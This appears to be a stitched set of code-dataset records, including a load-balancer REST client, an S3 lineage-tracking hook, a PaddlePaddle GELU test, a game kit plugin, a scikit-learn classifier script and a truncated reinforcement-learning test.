self._get_vs_rules(vsname)\n if insert:\n if rulename in rules[\"request_rules\"]:\n raise Exception(\"VServer {} already in maintenance\".format(vsname))\n rules[\"request_rules\"].insert(0, rulename)\n else:\n if rulename not in rules[\"request_rules\"]:\n raise Exception(\"VServer {} is not in maintenance\".format(vsname))\n rules[\"request_rules\"].remove(rulename)\n self._set_vs_rules(vsname, rules)\n\n def enable_maintenance(self, vsname, rulename=\"maintenance\", enable=True):\n self.insert_rule(vsname, rulename, enable)\n\n def get_pool_nodes(self, name):\n nodeTable = self._get_node_table(name)\n nodes = {\"active\": [], \"disabled\": [], \"draining\": []}\n for node in nodeTable:\n if node[\"state\"] == \"active\":\n nodes[\"active\"].append(node[\"node\"])\n elif node[\"state\"] == \"disabled\":\n nodes[\"disabled\"].append(node[\"node\"])\n elif node[\"state\"] == \"draining\":\n nodes[\"draining\"].append(node[\"node\"])\n else:\n self.logger.warn(\"Unknown Node State: {}\".format(node[\"state\"]))\n\n return nodes\n\n def set_pool_nodes(self, name, active, draining, disabled):\n url = self.configUrl + \"/pools/\" + name\n nodeTable = []\n if active is not None and active:\n nodeTable.extend( [{\"node\": node, \"state\": \"active\"} for node in active] )\n if draining is not None and draining:\n nodeTable.extend( [{\"node\": node, \"state\": \"draining\"} for node in draining] )\n if disabled is not None and disabled:\n nodeTable.extend( [{\"node\": node, \"state\": \"disabled\"} for node in disabled] )\n config = {\"properties\": {\"basic\": {\"nodes_table\": nodeTable }}}\n res = self._push_config(url, config)\n if res.status_code != 201 and res.status_code != 200:\n raise Exception(\"Failed to set pool nodes. Result: {}, {}\".format(res.status_code, res.text))\n\n def drain_nodes(self, name, nodes, drain=True):\n url = self.configUrl + \"/pools/\" + name\n nodeTable = self._get_node_table(name)\n for entry in nodeTable:\n if entry[\"node\"] in nodes:\n if drain:\n entry[\"state\"] = \"draining\"\n else:\n entry[\"state\"] = \"active\"\n\n config = {\"properties\": {\"basic\": {\"nodes_table\": nodeTable}}}\n res = self._push_config(url, config)\n if res.status_code != 201 and res.status_code != 200:\n raise Exception(\"Failed to add pool. Result: {}, {}\".format(res.status_code, res.text))\n\n def add_pool(self, name, nodes, algorithm, persistence, monitors, extra=None):\n url = self.configUrl + \"/pools/\" + name\n\n nodeTable = []\n for node in nodes:\n nodeTable.append({\"node\": node, \"state\": \"active\"})\n\n config = {\"properties\": {\"basic\": {\"nodes_table\": nodeTable}, \"load_balancing\": {}}}\n\n if monitors is not None:\n config[\"properties\"][\"basic\"][\"monitors\"] = monitors\n\n if persistence is not None:\n config[\"properties\"][\"basic\"][\"persistence_class\"] = persistence\n\n if algorithm is not None:\n config[\"properties\"][\"load_balancing\"][\"algorithm\"] = algorithm\n\n res = self._push_config(url, config, extra=extra)\n if res.status_code != 201 and res.status_code != 200:\n raise Exception(\"Failed to add pool. Result: {}, {}\".format(res.status_code, res.text))\n\n def del_pool(self, name):\n url = self.configUrl + \"/pools/\" + name\n res = self._del_config(url)\n if res.status_code != 204:\n raise Exception(\"Failed to del pool. Result: {}, {}\".format(res.status_code, res.text))\n\n def get_pool(self, name):\n return self._get_single_config(\"pools\", name)\n\n def get_pools(self, names=[]):\n return self._get_multiple_configs(\"pools\", names)\n\n def add_vserver(self, name, pool, tip, port, protocol, extra=None):\n url = self.configUrl + \"/virtual_servers/\" + name\n config = {\"properties\": {\"basic\": {\"pool\": pool, \"port\": port, \"protocol\": protocol,\n \"listen_on_any\": False, \"listen_on_traffic_ips\": [tip], \"enabled\": True}}}\n\n res = self._push_config(url, config, extra=extra)\n if res.status_code != 201 and res.status_code != 200:\n raise Exception(\"Failed to add VS. Result: {}, {}\".format(res.status_code, res.text))\n\n def del_vserver(self, name):\n url = self.configUrl + \"/virtual_servers/\" + name\n res = self._del_config(url)\n if res.status_code != 204:\n raise Exception(\"Failed to del VS. Result: {}, {}\".format(res.status_code, res.text))\n\n def get_vserver(self, name):\n return self._get_single_config(\"virtual_servers\", name)\n\n def get_vservers(self, names=[]):\n return self._get_multiple_configs(\"virtual_servers\", names)\n\n def add_tip(self, name, vtms, addresses, extra=None):\n url = self.configUrl + \"/traffic_ip_groups/\" + name\n\n config = {\"properties\": {\"basic\": {\"ipaddresses\": addresses,\n \"machines\": vtms, \"enabled\": True}}}\n\n res = self._push_config(url, config, extra=extra)\n if res.status_code != 201 and res.status_code != 200:\n raise Exception(\"Failed to add TIP. Result: {}, {}\".format(res.status_code, res.text))\n\n def del_tip(self, name):\n url = self.configUrl + \"/traffic_ip_groups/\" + name\n res = self._del_config(url)\n if res.status_code != 204:\n raise Exception(\"Failed to del TIP. Result: {}, {}\".format(res.status_code, res.text))\n\n def get_tip(self, name):\n return self._get_single_config(\"traffic_ip_groups\", name)\n\n def get_tips(self, names=[]):\n return self._get_multiple_configs(\"traffic_ip_groups\", names)\n\n def add_server_cert(self, name, public, private):\n url = self.configUrl + \"/ssl/server_keys/\" + name\n\n public = public.replace(\"\\\\n\", \"\\n\")\n private = private.replace(\"\\\\n\", \"\\n\")\n\n config = {\"properties\": {\"basic\": {\"public\": public, \"private\": private}}}\n\n res = self._push_config(url, config)\n if res.status_code != 201 and res.status_code != 200:\n raise Exception(\"Failed to add Server Certificate.\" +\n \" Result: {}, {}\".format(res.status_code, res.text))\n\n def del_server_cert(self, name):\n url = self.configUrl + \"/ssl/server_keys/\" + name\n res = self._del_config(url)\n if res.status_code != 204:\n raise Exception(\"Failed to delete Server Certificate.\" +\n \" Result: {}, {}\".format(res.status_code, res.text))\n\n def enable_ssl_offload(self, name, cert=\"\", on=True, xproto=False, headers=False):\n url = self.configUrl + \"/virtual_servers/\" + name\n config = {\"properties\": {\"basic\": {\"ssl_decrypt\": on, \"add_x_forwarded_proto\": xproto},\n \"ssl\": {\"add_http_headers\": headers, \"server_cert_default\": cert}}}\n\n res = self._push_config(url, config)\n if res.status_code != 200:\n raise Exception(\"Failed to configure SSl Offload on {}.\".format(name) +\n \" Result: {}, {}\".format(res.status_code, res.text))\n\n def enable_ssl_encryption(self, name, on=True, verify=False):\n url = self.configUrl + \"/pools/\" + name\n config = {\"properties\": {\"ssl\": {\"enable\": on, \"strict_verify\": verify}}}\n\n res = self._push_config(url, config)\n if res.status_code != 200:\n raise Exception(\"Failed to configure SSl Encryption on {}.\".format(name) +\n \" Result: {}, {}\".format(res.status_code, res.text))\n\n def add_session_persistence(self, name, method, cookie=None):\n types = [\"ip\", \"universal\", \"named\", \"transparent\", \"cookie\", \"j2ee\", \"asp\", \"ssl\"]\n if method not in types:\n raise Exception(\"Failed to add SP Class. Invalid method: {}\".format(method) +\n \"Must be one of: {}\".format(types))\n if method == \"cookie\" and cookie is None:\n raise Exception(\"Failed to add SP Class. You must provide a cookie name.\")\n\n if cookie is None:\n cookie = \"\"\n\n url = self.configUrl + \"/persistence/\" + name\n config = {\"properties\": {\"basic\": {\"type\": method, \"cookie\": cookie}}}\n\n res = self._push_config(url, config)\n if res.status_code != 201 and res.status_code != 200:\n raise Exception(\"Failed to add Session Persistence Class\" +\n \" Result: {}, {}\".format(res.status_code, res.text))\n\n def del_session_persistence(self, name):\n url = self.configUrl + \"/persistence/\" + name\n res = self._del_config(url)\n if res.status_code != 204:\n raise Exception(\"Failed to delete Session Persistence Class.\" +\n \" Result: {}, {}\".format(res.status_code, res.text))\n\n def list_backups(self):\n if self.version < 3.9:\n raise Exception(\"Backups require vTM 11.0 or newer\")\n url = self.statusUrl + \"/backups/full\" \n res = self._get_config(url)\n if res.status_code != 200:\n raise Exception(\"Failed to get Backup Listing.\" +\n \" Result: {}, {}\".format(res.status_code, res.text))\n listing = res.json()[\"children\"]\n output = {}\n for backup in [backup[\"name\"] for backup in listing]:\n url = self.statusUrl + \"/backups/full/\" + backup\n res = self._get_config(url)\n if res.status_code == 200:\n out = res.json()\n output[backup] = out[\"properties\"][\"backup\"]\n return output\n\n def create_backup(self, name, description):\n if self.version < 3.9:\n raise Exception(\"Backups require vTM 11.0 or newer\")\n url = self.statusUrl + \"/backups/full/\" + name\n description=\"\" if description is None else description\n config = {\"properties\": {\"backup\": {\"description\": description }}}\n res = self._push_config(url, config)\n if res.status_code != 201 and res.status_code != 200:\n raise Exception(\"Failed to create Backup.\" +\n \" Result: {}, {}\".format(res.status_code, res.text))\n\n def restore_backup(self, name):\n if self._proxy and self.bsdVersion < 2.4:\n raise Exception(\"Backup restoration requires BSD Version 2.6 when proxying.\")\n if self.version < 3.9:\n raise Exception(\"Backups require vTM 11.0 or newer\")\n url = self.statusUrl + \"/backups/full/\" + name +\"?restore\"\n config = {\"properties\": {}}\n res = self._push_config(url, config)\n if res.status_code != 200:\n raise Exception(\"Failed to create Backup.\" +\n \" Result: {}, {}\".format(res.status_code, res.text))\n return res.json()\n\n def delete_backup(self, name):\n if self.version < 3.9:\n raise Exception(\"Backups require vTM 11.0 or newer\")\n url = self.statusUrl + \"/backups/full/\" + name\n res = self._del_config(url)\n if res.status_code != 204:\n raise Exception(\"Failed to delete Backup.\" +\n \" Result: {}, {}\".format(res.status_code, res.text))\n\n def get_backup(self, name, b64=True):\n if self.version < 3.9:\n raise Exception(\"Backups require vTM 11.0 or newer\")\n url = self.statusUrl + \"/backups/full/\" + name\n headers = {\"Accept\": \"application/x-tar\"}\n res = self._get_config(url, headers=headers)\n if res.status_code != 200:\n raise Exception(\"Failed to download Backup.\" +\n \" Result: {}, {}\".format(res.status_code, res.text))\n backup = b64encode(res.content) if b64 else res.content\n return backup\n\n def upload_backup(self, name, backup):\n if self.version < 3.9:\n raise Exception(\"Backups require vTM 11.0 or newer\")\n url = self.statusUrl + \"/backups/full/\" + name\n res = self._push_config(url, backup, ct=\"application/x-tar\")\n if res.status_code != 201 and res.status_code != 204:\n raise Exception(\"Failed to upload Backup.\" +\n \" Result: {}, {}\".format(res.status_code, res.text))\n\n def upload_action_program(self, name, filename):\n url = self.configUrl + \"/action_programs/\" + name\n res = self._upload_raw_binary(url, filename)\n if res.status_code != 201 and res.status_code != 204:\n raise Exception(\"Failed to upload program.\" +\n \" Result: {}, {}\".format(res.status_code, res.text))\n\n def add_action_program(self, name, program, arguments):\n config = {\"properties\": {\"basic\": {\"type\": \"program\"}, \"program\": {\"arguments\": arguments, \"program\": program}}}\n url = self.configUrl + \"/actions/\" + name\n res = self._push_config(url, config)\n if res.status_code != 200 and res.status_code != 201:\n raise Exception(\"Failed to add action.\" +\n \" Result: {}, {}\".format(res.status_code, res.text))\n\n def get_event_type(self, name):\n url = self.configUrl + \"/event_types/\" + name\n res = self._get_config(url)\n if res.status_code == 404:\n return None\n elif res.status_code != 200:\n raise Exception(\"Failed to get event.\" +\n \" Result: {}, {}\".format(res.status_code, res.text))\n return res.json()\n\n def add_event_type_action(self, event, action):\n url = self.configUrl + \"/event_types/\" + event\n config = self.get_event_type(event)\n if config is None:\n return False\n entries = config[\"properties\"][\"basic\"][\"actions\"]\n if action in entries:\n return True\n entries.append(action)\n res = self._push_config(url, config)\n if res.status_code != 200:\n raise Exception(\"Failed to Set Action: {}\".format(action) +\n \" for Event: {}.\".format(event) +\n \" Result: {}, {}\".format(res.status_code, res.text))\n\n","sub_path":"pyvadc/vtm.py","file_name":"vtm.py","file_ext":"py","file_size_in_byte":17861,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"170503122","text":"#!/usr/bin/env python\n\nimport os, os.path, argparse, platform\nfrom datetime import date\nfrom glob import glob\n\n__all__ = [\n\t\"getMoveInfo\"\n]\n\ndef getMoveInfo(file):\n\tINPUTS = {\n\t\t\"Windows\": \"C:\\\\Users\\\\jmartin\\\\Dropbox\\\\secondcrack\\\\minorthoughts\",\n\t\t\"Darwin\": \"/Users/jmartin/Dropbox/secondcrack/minorthoughts\"\n\t}\n\n\troot = None\n\tif platform.system() in INPUTS:\n\t\troot = INPUTS[platform.system()]\n\tif root is None:\n\t\tprint (\"Where am I? I don't know where to move %s for you.\" % args.file)\n\t\treturn\n\t\n\tfullPath = os.path.abspath(file)\n\tfileName = os.path.basename(fullPath)\n\t\n\ttoday = date.today()\n\tyearName = today.strftime(\"%Y\")\n\tmonthName = today.strftime(\"%m\")\n\tdatePrefix = today.strftime(\"%Y%m%d\")\n\n\t# Construct the destination folder: content/posts/YYYY/MM\n\tfolder = os.path.join(root,\"content\",\"posts\",yearName,monthName)\n\n\t# Check if the destination exists, create it if not\n\ttry:\n\t\tos.makedirs(folder)\n\texcept OSError:\n\t\tif not os.path.isdir(folder):\n\t\t\traise\n\n\t# File format: YYYYMMDD-name\n\tnewFile = os.path.join( folder, \"%s-%s\" % (datePrefix,fileName) )\n\n\treturn (fullPath,newFile)\n\nif __name__==\"__main__\":\n\tparser = argparse.ArgumentParser(description=\"Move a file into the content directory with an appropriate name.\")\n\tparser.add_argument(\"file\")\n\n\t# Go\n\targs = parser.parse_args()\n\n\t(fullPath,newFile) = getMoveInfo(args.file)\n\n\ttry:\n\t\tos.rename(fullPath,newFile)\n\texcept OSError as err:\n\t\tprint(\"Error: %s\" % err.strerror)\n\telse:\n\t\tprint(\"Moved %s to %s\" % (fullPath,newFile))\n","sub_path":"lib/moveToPosts.py","file_name":"moveToPosts.py","file_ext":"py","file_size_in_byte":1496,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"151362849","text":"import boto3\nfrom boto3 import *\n\nfrom kensu.client import DataSourcePK, DataSource, FieldDef, SchemaPK, Schema\nfrom kensu.requests.models import ksu_str\nfrom kensu.utils.kensu_provider import KensuProvider\nfrom kensu.utils.helpers import logical_naming_batch\n\nclass ksu_dict(dict):\n ksu_metadata = {}\n\n @property\n def __class__(self):\n return dict\n\n\ndef kensu_put(event_params, event_ctx, **kwargs):\n if isinstance(event_params.get('Body'), ksu_str):\n kensu = KensuProvider().instance()\n put_body = event_params.get('Body')\n\n #The input is the ksu_str, the metadata contains its schema pk\n input_schema = put_body.metadata['real_schema']\n short_schema = put_body.metadata['short_schema']\n\n input_location = put_body.metadata['ds_location']\n s3_bucket = event_params.get('Bucket') or 'unknown-s3-bucket'\n s3_key = event_params.get('Key') or 'unknown-s3-key'\n\n # Creation of the output datasource (stored in S3)\n location = 'aws::S3::' + s3_bucket + '/' + s3_key\n name = s3_key\n\n if kensu.logical_naming == 'ReplaceNumbers':\n logical = logical_naming_batch(name)\n else:\n logical = name\n\n result_pk = DataSourcePK(location=location,\n physical_location_ref=kensu.default_physical_location_ref)\n result_ds = DataSource(name=name, categories=['logical::'+logical],format=name.split('.')[-1],\n pk=result_pk)._report()\n\n input_fields = [k.name for k in short_schema.pk.fields]\n input_schema_pk = short_schema.to_guid()\n\n # This data source has the same schema fields as the input\n\n fields = [FieldDef(name=k.name, field_type=k.field_type, nullable=True) for k in input_schema.pk.fields]\n\n sc_pk = SchemaPK(result_ds.to_ref(),\n fields=fields)\n result_sc = Schema(name=\"schema:\" + result_ds.name, pk=sc_pk)._report()\n\n fields = [FieldDef(name=k.name, field_type=k.field_type, nullable=True) for k in short_schema.pk.fields]\n\n sc_pk = SchemaPK(result_ds.to_ref(),\n fields=fields)\n\n short_result_sc = Schema(name=\"short-schema:\" + result_ds.name, pk=sc_pk)._report()\n\n kensu.real_schema_df[short_result_sc.to_guid()] = put_body.metadata['stats']\n\n for col in input_fields:\n kensu.add_dependencies_mapping(short_result_sc.to_guid(),str(col),input_schema_pk,str(col),'s3_put')\n kensu.report_with_mapping()\n\n\n\ndef add_custom_method(class_attributes, **kwargs):\n class_attributes['kensu_put'] = kensu_put\n\n original_get = class_attributes['get']\n\n def kensu_get(event_params, **kwargs):\n result = original_get(event_params,**kwargs)\n\n if 'Body' in result:\n result = ksu_dict(result)\n\n s3_bucket = event_params.bucket_name or 'unknown-s3-bucket'\n s3_key = event_params.key or 'unknown-s3-key'\n\n # Creation of the output datasource (stored in S3)\n location = 'aws::S3::' + s3_bucket + '/' + s3_key\n name = s3_key\n result.ksu_metadata['origin_location'] = location\n result.ksu_metadata['origin_name'] = name\n\n import botocore.response as btr\n from kensu.botocore.response import StreamingBody\n\n if isinstance(result['Body'],btr.StreamingBody):\n result['Body'].__class__ = StreamingBody\n result['Body'].ksu_metadata = result.ksu_metadata\n return result\n\n class_attributes['get'] = kensu_get\n\nboto3._get_default_session().events.register(\"creating-resource-class.s3.Object\",\n add_custom_method)\n\n\n\ndef kensu_tracker(*class_attributes, **kwargs):\n import logging\n param_types = [\n ]\n import pprint\n if kwargs.get('params'):\n param_types = [[k, v, type(v)] for k, v in kwargs.get('params').items()]\n logging.debug('---\\nKensu AWS tracker: '\n 'param_types: {}\\n'\n 'class_attributes:{}\\n kwargs: {}\\n-----'.format(\n str(param_types),\n str(class_attributes),\n pprint.pformat(kwargs) + '\\n'+ str([ [k, v, type(v)] for k,v in kwargs.items()])))\n\n event_name = kwargs.get('event_name')\n event_params = kwargs.get('params')\n event_ctx = kwargs.get('context')\n if event_name == 'provide-client-params.s3.PutObject' and event_params:\n kensu_put(event_params=event_params, event_ctx=event_ctx, **kwargs)\n\n#boto3._get_default_session().events.register('creating-resource-class.s3.ServiceResource',kensu_tracker)\n#boto3._get_default_session().events.register('before-send.s3.PutObject', kensu_tracker)\nboto3._get_default_session().events.register('provide-client-params.s3.PutObject', kensu_tracker)\n\n# in case we wanted to see all events - use *\n#S3 = boto3.resource('s3' , region_name='eu-west-1')\n#event_system = S3.meta.client.meta.events\n#event_system.register(\"*\",kensu_tracker)\n#event_system.register('creating-resource-class.s3.*', prt)","sub_path":"kensu/boto3/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":5051,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"157467350","text":"#!/bin/env python\n# -*- coding: utf-8 -*-\n# encoding=utf-8 vi:ts=4:sw=4:expandtab:ft=python\n\"\"\"\ntest_functional_gelu\n\"\"\"\nimport math\nfrom apibase import APIBase\nfrom apibase import randtool\nfrom apibase import tanh\nimport paddle\nimport pytest\nimport numpy as np\n\n\nclass TestFunctionalGelu(APIBase):\n \"\"\"\n test\n \"\"\"\n\n def hook(self):\n \"\"\"\n implement\n \"\"\"\n self.types = [np.float32, np.float64]\n # self.debug = True\n # self.static = True\n # enable check grad\n # self.enable_backward = True\n\n\nobj = TestFunctionalGelu(paddle.nn.functional.gelu)\n\n\n@pytest.mark.api_nn_gelu_vartype\ndef test_gelu_base():\n \"\"\"\n base\n \"\"\"\n x = randtool(\"float\", -10, 10, [3, 3, 3])\n # 算法\n arr = []\n for i in range(len(x.flatten())):\n arr.append(math.erf(x.flatten()[i] / math.sqrt(2)))\n arr = np.array(arr).reshape(x.shape)\n res = 0.5 * x * (1 + arr)\n obj.base(res=res, x=x)\n\n\n@pytest.mark.api_nn_gelu_parameters\ndef test_gelu():\n \"\"\"\n default approximate=False\n \"\"\"\n x = randtool(\"float\", -10, 10, [3, 3, 3])\n # 算法\n arr = []\n for i in range(len(x.flatten())):\n arr.append(math.erf(x.flatten()[i] / math.sqrt(2)))\n arr = np.array(arr).reshape(x.shape)\n res = 0.5 * x * (1 + arr)\n obj.run(res=res, x=x)\n\n\n@pytest.mark.api_nn_gelu_parameters\ndef test_gelu1():\n \"\"\"\n approximate=True\n \"\"\"\n x = randtool(\"float\", -10, 10, [3, 3, 3])\n # 算法\n res = 0.5 * x * (1 + tanh(math.sqrt(2 / math.pi) * (x + 0.044715 * pow(x, 3))))\n obj.run(res=res, x=x, approximate=True)\n","sub_path":"framework/api/nn/test_functional_gelu.py","file_name":"test_functional_gelu.py","file_ext":"py","file_size_in_byte":1608,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"196026814","text":"__author__ = 'DreTaX'\n__version__ = '1.0'\n\nimport clr\nclr.AddReferenceByPartialName(\"Fougerite\")\n\nimport Fougerite\nimport System\nfrom System import *\nimport re\nimport math\n\npath = Util.GetRootFolder()\n\n\"\"\"\n Storing Kit Data in a class.\n\"\"\"\n\n\nclass GivenKit:\n\n AdminCanUse = False\n ModeratorCanUse = False\n NormalCanUse = False\n ItemsDict = None\n\n def __init__(self, AdminCanUse, ModeratorCanUse, NormalCanUse, ItemsDict):\n self.AdminCanUse = AdminCanUse\n self.ModeratorCanUse = ModeratorCanUse\n self.NormalCanUse = NormalCanUse\n self.ItemsDict = ItemsDict\n\nKitStore = {\n\n}\n\n\nclass Kits:\n\n def KitsConfig(self):\n if not Plugin.IniExists(\"KitsConfig\"):\n loc = Plugin.CreateIni(\"KitsConfig\")\n loc.AddSetting(\"AdminKits\", \"AvailableKits\", \"starter, admin\")\n loc.AddSetting(\"PlayerKits\", \"AvailableKits\", \"starter:120000\")\n # loc.AddSetting(\"PlayerKits\", \"DefaultKits\", \"starter:True,AdminKit:False\")\n loc.Save()\n return Plugin.GetIni(\"KitsConfig\")\n\n def On_PluginInit(self):\n self.KitsConfig()\n\n def GetStringFromArray(self, Array, String):\n matching = str([s for s in Array if String in s])\n return matching\n\n def bool(self, s):\n if s is None:\n raise ValueError(\"[Kits] Config value is empty!\")\n elif s.lower() == 'true':\n return True\n elif s.lower() == 'false':\n return False\n else:\n raise ValueError(\"[Kits] Config value is not a boolean!\")\n\n def GetKitData(self, name):\n if name in KitStore.keys():\n return KitStore[name]\n kit = Plugin.GetIni(path + \"\\\\Save\\\\PyPlugins\\\\Kits\\\\\\LoadOuts\\\\\" + name)\n if kit is not None:\n Admin = self.bool(kit.GetSetting(\"Kit\", \"AdminCanUse\"))\n Moderator = self.bool(kit.GetSetting(\"Kit\", \"ModeratorCanUse\"))\n Normal = self.bool(kit.GetSetting(\"Kit\", \"NormalCanUse\"))\n Items = kit.EnumSection(\"Items\")\n dictt = {}\n for x in Items:\n l = int(kit.GetSetting(\"Items\", x))\n dictt[x] = l\n c = GivenKit(Admin, Moderator, Normal, dictt)\n KitStore[name] = c\n return c\n return None\n\n def On_Command(self, Player, cmd, args):\n if cmd == \"kit\" or cmd == \"kits\":\n ini = self.KitsConfig()\n if Player.Admin or Player.Moderator:\n akits = ini.GetSetting(\"AdminKits\", \"AvailableKits\")\n if len(args) == 0:\n Player.MessageFrom(\"Kits\", \"Available Kits: \" + akits)\n Player.MessageFrom(\"Kits\", \"Commands: /kit kitname\")\n return\n data = self.GetKitData(args[0])\n if data is not None:\n if (Player.Admin and data.AdminCanUse) or (Player.Moderator and data.ModeratorCanUse):\n inv = Player.Inventory\n for x in data.ItemsDict.keys():\n inv.AddItem(x, data.ItemsDict[x])\n Player.MessageFrom(\"Kits\", \"Kit \" + args[0] + \" received!\")\n else:\n Player.MessageFrom(\"Kits\", \"You can't use this!\")\n else:\n Player.MessageFrom(\"Kits\", \"Kit \" + args[0] + \" not found!\")\n else:\n pkits = ini.GetSetting(\"PlayerKits\", \"AvailableKits\")\n array = pkits.split(',')\n if len(args) == 0:\n leng = len(array)\n i = 0\n String = ''\n for x in array:\n if i <= leng:\n x = x.split(':')\n String = String + x[0] + ', '\n Player.MessageFrom(\"Kits\", \"Available Kits: \" + String)\n return\n data = self.GetKitData(args[0])\n if data is None:\n Player.MessageFrom(\"Kits\", \"Kit \" + str(args[0]) + \" not found!\")\n return\n if not data.NormalCanUse:\n Player.MessageFrom(\"Kits\", \"You can't get this!\")\n return\n get = self.GetStringFromArray(array, str(args[0]))\n get = re.sub('[[\\]\\']+', '', get).split(':')\n cooldown = int(get[1])\n if cooldown > 0:\n systick = System.Environment.TickCount\n if DataStore.Get(\"startercooldown\" + str(args[0]), Player.SteamID) is None:\n DataStore.Add(\"startercooldown\" + str(args[0]), Player.SteamID, 7)\n time = DataStore.Get(\"startercooldown\" + str(args[0]), Player.SteamID)\n if (systick - time) < 0 or math.isnan(systick - time):\n DataStore.Add(\"startercooldown\" + str(args[0]), Player.SteamID, 7)\n time = 7\n calc = systick - time\n if calc >= cooldown or time == 7:\n inv = Player.Inventory\n for x in data.ItemsDict.keys():\n inv.AddItem(x, data.ItemsDict[x])\n Player.MessageFrom(\"Kits\", \"Kit \" + args[0] + \" received!\")\n DataStore.Add(\"startercooldown\" + str(args[0]), Player.SteamID, System.Environment.TickCount)\n else:\n Player.MessageFrom(\"Kits\", \"You have to wait before using this again!\")\n done = round((calc / 1000) / 60, 2)\n done2 = round((cooldown / 1000) / 60, 2)\n Player.MessageFrom(\"Kits\", \"Time Remaining: \" + str(done) + \"/\" + str(done2) + \" minutes\")\n else:\n inv = Player.Inventory\n for x in data.ItemsDict.keys():\n inv.AddItem(x, data.ItemsDict[x])\n Player.MessageFrom(\"Kits\", \"Kit \" + args[0] + \" received!\")\n","sub_path":"FougeritePlugins/Kits/Kits.py","file_name":"Kits.py","file_ext":"py","file_size_in_byte":6079,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"641370746","text":"class Solution:\n def findMaxConsecutiveOnes(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: int\n \"\"\"\n maxnums = 0\n x = 0\n for i in range(len(nums)):\n if nums[i] == 0:\n maxnums = max(maxnums,x)\n x = 0\n else:\n x += 1\n maxnums = max(maxnums,x)\n return maxnums\n#2018.12.15\n#----------------main function-----------------\nif __name__ == '__main__':\n l = [1,1,0,1,1,1]\n s = Solution()\n print(s.findMaxConsecutiveOnes(l))","sub_path":"python_yxs/485.MaxConsecutiveOnes.py","file_name":"485.MaxConsecutiveOnes.py","file_ext":"py","file_size_in_byte":558,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"37174136","text":"from features import extract_features\nfrom features import store_data\n\nfrom itertools import combinations\nimport argparse\nimport os\nimport sys\nimport numpy as np\n\nfrom sklearn import preprocessing\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.discriminant_analysis import LinearDiscriminantAnalysis\nfrom sklearn.naive_bayes import GaussianNB\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.model_selection import cross_val_score\n\n\ndef classify(train_data, classes, name):\n \"\"\"\n Perform a classification using k-Nearest Neighbors \n with 10-fold cross-validation scheme\n \"\"\"\n scaler = preprocessing.StandardScaler()\n scaled_data = scaler.fit_transform(train_data)\n\n classifiers = {'kNN': KNeighborsClassifier(n_neighbors=3),\n 'LDA': LinearDiscriminantAnalysis(solver='lsqr', \n shrinkage='auto'),\n 'Gaussian': GaussianNB(),\n 'Logistic': LogisticRegression(solver='lbfgs', multi_class='auto', \n max_iter=5000, n_jobs=-1),\n 'RandomForest': RandomForestClassifier(n_estimators=100, \n max_depth=10,\n n_jobs=-1)}\n # kfold: not greater than the number of members in each class\n classifier = classifiers[name]\n kfold = 4\n scores = cross_val_score(classifier, scaled_data, classes, cv=kfold)\n return scores.mean(), scores.std()\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='Classify data')\n parser.add_argument('filedata',\n metavar='filedata',\n type=str,\n help='file with feature data')\n\n # Execute the parse_args() method\n args = parser.parse_args()\n\n # load data to process\n # data_ni_ta_tm_pp.npy\n # filedata = \"data_ni_ta_tm_pp.npy\"\n filedata = args.filedata\n\n if not os.path.isfile(filedata):\n print('The file does not exist')\n sys.exit()\n\n data = np.load(filedata, allow_pickle=True)\n labels = data[:, -1]\n labels = labels.tolist()\n feats_data = np.array(data[:, :-1], dtype=np.float32)\n \n # 1: plant_nz\n # 2: water_nz \n # 3: plant_mass \n # 4: energy\n # 5: plant_count\n # 6: plant_mean\n # 7: hist_plant\n # 8: hist_water\n values = [1, 2, 3, 4, 5, 6]\n # Getting the number of iterations\n n_iters = filedata.split(\"_\")[1]\n n_iters = int(n_iters)\n # features to consider in classification\n start = 0\n stop = n_iters\n # number of iterations\n limit = n_iters \n\n len_previous_data = len(values) * n_iters\n # 10 because of the number of bins\n len_hist = 2 * 10\n for i in range(1, len(values) + 1):\n for c in combinations(values, i):\n idxs = []\n for k in c:\n begin = (k - 1) * limit + start\n end = (k - 1) * limit + stop\n idxs.extend(range(begin, end))\n len_idxs = len(idxs)\n idxs.extend(range(len_previous_data, len_previous_data + len_hist))\n train_data = feats_data[:, idxs]\n # score_mean, score_std = classify(train_data, labels, \"kNN\")\n # print(f\"kNN {c} Classification: {score_mean:.2f} {score_std:.2f}\")\n score_mean, score_std = classify(train_data, labels, \"LDA\")\n print(f\"LDA {c} Classification: {score_mean:.2f} {score_std:.2f}\")\n # score_mean, score_std = classify(train_data, labels, \"Gaussian\")\n # print(f\"Gaussian {c} Classification: {score_mean:.2f} {score_std:.2f}\")\n # score_mean, score_std = classify(train_data, labels, \"Logistic\")\n # print(f\"Logistic {c} Classification: {score_mean:.2f} {score_std:.2f}\")\n # score_mean, score_std = classify(train_data, labels, \"RandomForest\")\n # print(f\"RandomForest {c} Classification: {score_mean:.2f} {score_std:.2f}\")\n","sub_path":"classify.py","file_name":"classify.py","file_ext":"py","file_size_in_byte":4125,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"367728406","text":"from tensorforce import Agent, Environment\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport math\nimport pickle\nfrom tqdm import tqdm\nimport gym\n\ntest_episodes=10\n\n\nip_pid_episode_record=[]\nip_rl_episode_record=[]\nip_rl = Agent.load(directory='Inverted_Pendulum_RL', format='numpy')\ninternals = ip_rl.initial_internals()\nfor i in range(test_episodes):\n\tkp=25\n\tkd=2.27645649\n\tenvironment = gym.make('InvertedPendulum-v2')\n\n\tepisode_reward=0\n\tstates = environment.reset()\n\tterminal=False\n\twhile not terminal:\n\t\tactions = kp*states[1]+kd*states[3]\n\t\tstates, reward, terminal,info = 